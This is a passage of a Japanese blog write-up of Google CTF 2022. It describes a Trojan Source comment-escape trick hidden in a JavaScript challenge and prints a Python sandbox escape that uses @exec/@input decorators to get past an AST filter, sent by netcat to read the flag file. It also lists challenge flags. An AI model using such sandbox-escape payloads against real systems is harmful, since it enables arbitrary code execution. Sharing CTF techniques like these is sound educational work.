コードのサイズが変わらなければ良いことに気が付いて、 Object.defineProperty で何かやっているあたりの処理を潰すと、開発者ツールでデバッグができ、なおかつ CTF{W0w_5ucH_N1c3_d3bU9_sK1lLz_} が通らないようにできた。

それでデバッグをしていたら、全く見覚えの無いコードがでてきて、マジでびっくりした。

image.png

この辺りのコメントの中に変な文字が入っていて、それでコメントから脱出し、コメントではなくなっているっぽい。

 :
// TODO: Whole document integrity check: 
if (document.documentElement.outerHTML.length == 23082) //...

// TODO: Utility function for detecting the opening of DevTools, https://stackoverflow.com/q/7798748
// TODO: Create wrapper function to support async/await for 
setTimeout

//       E.g. something like https://stackoverflow.com/q/33289726
// TODO: Checksum check for the utility funcitons themselves, e.g. 
(checksum(' ' + checksum)) == '...'

 :

Trojan Sourceか。「Trojan Sourceで問題を作れないかな?」「エディタによっては簡単に解けちゃうから無理じゃない?」というような話をしたことがあったけれど、2桁チームしか解けない問題が作れるとは。文字の仕様が分かっていないけれど、フラグを見るに、これはコメントのように見せるエディタが悪いのではなく、これでコメントから脱出してしまうブラウザが悪いのか?

CTF{W0w_5ucH_N1c3_d3bU9_sK1lLz_Br0w53R_Bu9s_C4Nt_s70p_Y0u}

web

1問も解けず……。

LOG4J

100チーム以上解いているので解きたかった。

一瞬Log4Shellするだけの問題かと思ったけれど、Google CTFでそんな問題が出るはずもなく、Log4jは最新版だった。

sandbox

TREEBOX

Pythonの compile 関数のASTで出力する機能を使って、 importfrom ... import と関数呼び出しを弾いている。

ところで、Pythonのデコレーターはだいたい関数呼び出しである。

例えば、以下のようなコード:

@f1(arg)
@f2
def func(): pass

は、だいたい次と等価です

def func(): pass
func = f1(arg)(f2(func))

ちなみに、f1 のような書き方は関数呼び出し判定だった。

$ nc treebox.2022.ctfcompetition.com 1337
== proof-of-work: disabled ==
-- Please enter code (last line must contain only --END)
@exec
@input
def f():
  pass
--END
-- Executing safe code:
<function f at 0x7f7eaab520e0>print(open("flag").read())
CTF{CzeresniaTopolaForsycja}

別解。なるほど。

CTF{CzeresniaTopolaForsycja}

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
What you can do with signing up
1